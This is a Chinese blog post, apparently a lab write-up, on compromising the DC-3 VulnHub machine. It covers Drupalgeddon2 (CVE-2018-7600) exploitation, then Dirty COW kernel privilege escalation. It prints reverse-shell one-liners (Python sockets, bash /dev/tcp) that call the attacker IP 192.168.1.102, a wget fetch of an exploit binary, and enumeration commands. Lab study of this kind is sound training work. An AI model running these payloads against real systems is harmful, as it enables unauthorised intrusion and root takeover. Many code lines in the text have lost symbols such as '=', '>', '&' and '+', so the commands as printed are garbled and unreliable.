DC3靶场渗透实战:从Drupalgeddon2漏洞利用到Linux内核提权

📅 2026/8/6 8:15:28 👤 编程新知 🏷️ 技术资讯
DC3靶场渗透实战:从Drupalgeddon2漏洞利用到Linux内核提权 1. 项目概述一次完整的DC3靶场渗透实战复盘最近在整理渗透测试的学习笔记翻到了之前通关DC3靶场的详细记录。DC3是一个基于Drupal内容管理系统构建的CTF风格靶机在VulnHub上可以下载。它之所以在安全圈子里小有名气不是因为其漏洞多么新颖恰恰相反它完美复现了一个经典且完整的攻击链从Web信息收集、漏洞利用到权限提升和最终目标获取。对于想系统理解渗透测试流程尤其是Drupal相关漏洞利用的朋友来说DC3是一个绝佳的练手环境。这次复盘我会把当时每一步的操作、背后的思考逻辑以及踩过的坑都详细记录下来目标不仅是“通关”更是让你明白“为什么这么做”。靶场的核心目标是获取最终的flag通常位于/root或/home目录下。DC3的路径设计得很典型需要你一步步深入。整个过程会涉及到端口扫描、CMS指纹识别、敏感信息泄露利用、已知漏洞利用如Drupalgeddon2、命令行交互技巧以及Linux内核提权。我会假设你已经有了一些基础比如知道如何使用Nmap、Burp Suite或者基本的Linux命令但即使你是新手跟着步骤走也能理解整个脉络。下面我们就从最开始的“踩点”环节开始。2. 环境准备与信息收集摸清靶场的每一寸土地渗透测试的第一步永远是信息收集盲目攻击就像蒙着眼睛打架。对于DC3这类独立靶机我们首先需要确定它在网络中的位置。2.1 靶场环境搭建与网络定位我是在本地VMware中运行DC3靶机网卡模式设置为NAT攻击机使用的是Kali Linux。第一步是确定靶机的IP地址。最常用的方法是使用netdiscover进行ARP扫描或者查看DHCP租约。更通用的方法是使用Nmap扫描整个网段。sudo netdiscover -r 192.168.1.0/24或者sudo nmap -sn 192.168.1.0/24执行后很快就能发现一个新增的、主机名可能包含“DC-3”或类似字样的IP地址假设我们找到的是192.168.1.105。记住这个IP它就是我们的目标。注意在实际内网渗透中获取IP的手段更多样如ARP扫描、DNS查询、历史流量分析等。但在靶场环境中网段通常是固定的这一步相对简单。2.2 全面端口扫描与服务探测拿到IP后下一步就是进行全面的端口扫描弄清楚靶机上开放了哪些服务这些服务就是潜在的入口点。我习惯使用Nmap进行两次扫描一次快速扫描确定开放端口一次针对性的深度扫描获取服务详情。首先进行全端口扫描nmap -p- -T4 192.168.1.105-p-表示扫描所有65535个端口-T4是较快的扫描速度。扫描结果通常显示只开放了80端口。这暗示着这是一个纯粹的Web靶场攻击面集中在HTTP服务上。接着对开放的80端口进行深度服务版本探测和脚本扫描nmap -sV -sC -p 80 192.168.1.105 -oA dc3_web_scan-sV: 探测服务版本。-sC: 使用默认的Nmap脚本进行漏洞探测和增强发现。-oA: 以所有格式普通、XML、可读输出结果。扫描报告显示80端口运行着Apache httpd服务器。这里没有直接给出CMS信息需要我们通过Web访问进一步识别。2.3 Web应用指纹识别与目录枚举打开浏览器访问http://192.168.1.105。页面加载后我们看到了一个博客网站。通过浏览页面源代码、查看HTTP响应头可以寻找CMS的蛛丝马迹。一个非常明显的线索是在页面底部或/robots.txt、/README.txt等文件中常常会留下Drupal的标识。使用浏览器开发者工具F12查看“网络”选项卡观察加载的静态资源路径。Drupal通常有特定的文件路径如/core/、/modules/、/themes/等。更直接的方法是使用工具进行指纹识别。我使用了whatwebwhatweb http://192.168.1.105输出结果清晰地显示了“Drupal”以及可能的版本范围信息。确认是Drupal CMS后我们需要进行目录爆破寻找隐藏的路径、后台登录入口、配置文件等。这里我使用了gobustergobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -t 50dir: 指定目录爆破模式。-u: 目标URL。-w: 使用的字典文件这里用了dirb的通用字典。-x: 尝试这些扩展名。-t: 线程数。扫描结果中除了常见的Drupal目录如/core/,/modules/要特别关注以下几个/admin/或/user/: Drupal后台登录入口。/CHANGELOG.txt: 可能包含确切的版本号。/sites/default/: 可能包含配置文件settings.php但通常不可直接访问。/robots.txt: 可能暴露敏感路径。访问/CHANGELOG.txt我们很可能看到类似“Drupal 7.x”的版本信息。假设我们确定版本是Drupal 7。至此信息收集阶段告一段落。我们知道了目标是一个运行着Drupal 7的Apache服务器只有Web入口。下一步就是寻找这个特定版本的漏洞。3. 漏洞挖掘与利用突破Drupal的防线针对Drupal 7有一个闻名遐迩的远程代码执行漏洞——Drupalgeddon 2CVE-2018-7600。这个漏洞允许攻击者在未授权的情况下执行任意代码危害极大。DC3靶场正是为了练习这个漏洞的利用而设计的。3.1 漏洞原理浅析与工具选择Drupalgeddon 2的根源在于Drupal 7和8的注册表单处理逻辑存在缺陷。攻击者可以通过精心构造的请求在Drupal执行某些操作如安装后注册时将恶意参数注入到执行流程中最终导致任意代码执行。理解原理有助于我们手动构造Payload但实战中更多使用成熟的利用工具。有几个选择Metasploit (MSF) 有现成的模块exploit/unix/webapp/drupal_drupalgeddon2自动化程度高适合快速验证。独立Python脚本 网上有很多公开的PoC脚本更轻量可定制化程度高。手动利用 通过Burp Suite手动构造请求对理解漏洞细节最有帮助。为了教学和理解的透彻性我选择先演示手动利用的思路再介绍自动化工具。无论哪种方式我们都需要一个能够接收我们命令执行结果的“监听器”。3.2 建立监听与手动漏洞探测首先我们在攻击机Kali上开启一个Netcat监听器用于接收靶机执行命令后反弹回来的shell。nc -lvnp 4444-l: 监听模式。-v: 详细输出。-n: 不解析域名。-p 4444: 指定监听端口。接下来我们尝试手动触发漏洞。利用Drupalgeddon 2的PoC其核心是向Drupal的特定端点如/user/register、/发送一个包含恶意参数的POST请求。一个经典的测试Payload是执行id命令并将结果通过HTTP请求发送到我们的攻击机。我们可以使用curl命令或者更直观地用Burp Suite。这里用curl示例 我们需要构造一个请求让靶机执行id命令并将结果通过curl或wget发送到我们控制的一个HTTP服务器。但更直接的方式是利用漏洞直接反弹shell。实际上手动构造一个稳定反弹shell的Payload比较复杂涉及到编码和绕过。因此更高效的方法是使用现成的脚本。我找到了一个名为drupalgeddon2.py的Python脚本。使用前需要确保Python环境并安装requests库。python3 drupalgeddon2.py -h查看帮助通常用法是python3 drupalgeddon2.py -t http://192.168.1.105 -c ‘id‘如果漏洞存在执行-c参数后的命令会返回结果。看到uid33(www-data) gid33(www-data)...之类的输出就证明漏洞利用成功我们可以在目标上以www-data用户权限执行命令了。3.3 获取交互式Shell命令执行成功了但这是一个非交互式的shell功能受限无法使用su、sudo、文本编辑器等。我们需要升级到一个完全交互式的TTY shell。首先我们利用漏洞执行一个命令将反向shell的Payload送到靶机上。常用的方法是使用python、php、bash或netcat来反弹。假设靶机上有python我们可以执行python3 drupalgeddon2.py -t http://192.168.1.105 -c ‘python3 -c “import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\“192.168.1.102\“,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([\“/bin/sh\“, \“-i\“]);”‘这条命令很长其核心是让靶机上的Python连接到我们攻击机的4444端口并将标准输入、输出、错误流都重定向到这个连接然后启动一个/bin/sh。执行前请确保你的攻击机IP这里是192.168.1.102和监听端口4444正确。执行上述利用命令后如果一切顺利我们之前开启的Netcat监听器就会接收到一个shell。但是这个shell可能仍然不够“友好”。我们需要进一步优化它# 在获得的shell中依次执行 python3 -c ‘import pty; pty.spawn(“/bin/bash”)‘ # 或者 script -qc /bin/bash /dev/null # 然后按 CtrlZ 挂起当前进程 stty raw -echo; fg # 最后设置终端类型 export TERMxterm完成这些操作后你就获得了一个功能相对完整的交互式shell可以方便地使用Tab补全、方向键查看历史命令等。实操心得 在实际利用中可能会遇到目标环境没有python、netcat的情况。因此掌握多种反弹shell的方法至关重要。比如用bashbash -i /dev/tcp/192.168.1.102/4444 01或者用php、perl等。多准备几种Payload总能派上用场。另外使用rlwrap nc -lvnp 4444来启动监听器可以直接获得一个支持历史命令和行编辑的shell体验更好。4. 权限提升从www-data到root拿到www-data的shell只是万里长征第一步。在CTF和真实渗透中最终的flag往往在root用户目录下。因此我们需要进行权限提升Privilege Escalation。4.1 内部信息收集在提权之前必须对目标系统进行深入的了解。我通常会运行一个系统的信息收集脚本比如linpeas.sh它能自动化地检查各种提权向量。但在手动过程中以下命令是必查的# 查看当前用户和权限 id whoami sudo -l # 如果当前用户有sudo权限这是最直接的提权方式 # 查看系统信息 uname -a # 查看内核版本寻找内核漏洞 cat /etc/os-release # 查看发行版信息 hostname # 查找敏感文件 find / -type f -name “*.txt” -o -name “*.conf” -o -name “*.php” -o -name “*.bak” 2/dev/null | head -30 find / -perm -4000 2/dev/null # 查找SUID文件 find / -writable 2/dev/null | head -20 # 查找全局可写文件/目录 find / -type f -user root -perm -2000 2/dev/null # 查找SGID文件 # 查看进程和服务 ps aux netstat -tulpn systemctl list-units --typeservice在DC3靶场中运行sudo -l可能会发现www-data用户并不能使用sudo。uname -a查看内核版本假设显示的是类似Linux dc-3 4.4.0-21-generic的信息。这是一个相对较早的内核版本可能存在公开的提权漏洞。4.2 内核漏洞提权实践搜索“Linux kernel 4.4.0-21 exploit”很容易找到一个著名的本地提权漏洞Dirty COWCVE-2016-5195。这是一个竞争条件漏洞允许低权限用户写入只读内存页从而修改SUID文件如/bin/passwd来获得root权限。提权步骤通常如下上传漏洞利用代码 我们需要将Dirty COW的利用程序通常是一个C文件上传到靶机上。可以在攻击机上编译好静态链接的二进制文件直接上传也可以在靶机上编译如果靶机有gcc。在攻击机Kali上先下载或编写一个可靠的Dirty COW利用代码例如dirty.c。然后编译成静态二进制文件避免靶机缺少库文件gcc -pthread dirty.c -o dirty -lcrypt将利用程序传输到靶机 在靶机的shell中找一个可写目录比如/tmp或/dev/shm。然后在攻击机开启一个简单的HTTP服务python3 -m http.server 8080在靶机shell中使用wget或curl下载文件wget http://192.168.1.102:8080/dirty chmod x dirty执行提权利用 运行编译好的利用程序。./dirty根据不同的利用脚本成功后可能会创建一个具有root权限的新用户如firefart或者直接获得一个root shell。按照程序的提示操作即可。例如运行后输入一个新密码然后使用su firefart切换用户此时id命令会显示uid0(root)。获取最终Flag 提权到root后就可以畅游系统了。Flag通常放在/root目录下命名为flag.txt、proof.txt或root.txt。cd /root ls -la cat flag.txt屏幕上输出的那串字符就是本次渗透测试的最终战利品。注意事项 内核漏洞提权有风险不当的利用程序可能导致系统崩溃在靶场中无所谓在生产环境中需极其谨慎。务必使用经过验证的、可靠的利用代码。此外不是所有旧内核都一定可用Dirty COW如果不行需要根据具体的内核版本号去搜索对应的提权漏洞如CVE-2017-6074, CVE-2017-16995等。5. 总结与问题排查实录回顾整个DC3靶场的通关过程它清晰地展示了一个标准的渗透测试流程信息收集 - 漏洞利用 - 获取立足点 - 权限提升 - 达成目标。每个环节都环环相扣。5.1 常见问题与解决方案在实际操作中你可能会遇到以下问题问题描述可能原因解决方案Nmap扫描不到靶机IP靶机和攻击机不在同一网段检查虚拟机网络设置同为NAT或桥接使用ip addr或ifconfig确认双方IP在同一子网。访问靶机Web页面无响应靶机服务未启动或防火墙检查靶机是否已正常开机在靶机控制台尝试service apache2 status查看服务状态。Drupalgeddon2漏洞利用失败目标Drupal版本已打补丁或利用脚本问题确认Drupal版本是否为受影响的7.x或8.x。尝试使用不同来源的利用脚本如Metasploit。检查Payload是否因特殊字符被截断尝试编码。反弹Shell不成功防火墙阻止出站连接或Payload语法错误尝试更换反弹端口如53, 443, 8080。检查监听器是否正确开启。使用bash -i或php等多种Payload尝试。确保IP和端口号正确无误。上传的提权利用程序无法执行缺少执行权限或库文件chmod x添加执行权限。如果是动态编译尝试在靶机上安装gcc重新编译或使用静态编译版本。Dirty COW利用后未提权成功内核已修补或利用程序不兼容使用uname -r精确核对内核版本搜索针对该特定版本的提权漏洞。尝试其他提权方法如利用SUID文件、sudo配置错误、计划任务等。5.2 拓展思考与防御建议通过DC3我们不仅练习了攻击更应该思考防御。针对这个攻击链及时更新 Drupalgeddon 2漏洞在2018年已有补丁。保持CMS和所有插件、主题的更新是防御已知漏洞最有效的手段。最小权限原则 Web服务运行用户如www-data应被严格限制权限避免其拥有执行敏感命令或写入系统关键文件的能力。输入过滤与消毒 对所有用户输入进行严格的验证和过滤防止命令注入、SQL注入等攻击。定期安全审计 对服务器进行定期的漏洞扫描和渗透测试检查是否存在错误配置、弱密码、不必要的服务等。内核安全 及时更新操作系统内核关闭不必要的内核模块使用安全增强工具如SELinux, AppArmor来限制进程行为。通关DC3只是一个开始。真正的技能提升在于举一反三。你可以尝试用不同的方法达到同一目的比如不用自动化脚本而完全手动利用Drupalgeddon2或者尝试其他提权路径比如在靶机上寻找密码文件、数据库凭证尝试横向移动等。靶场提供的是一张静态地图而你的思维和技巧才是探索未知领域的罗盘。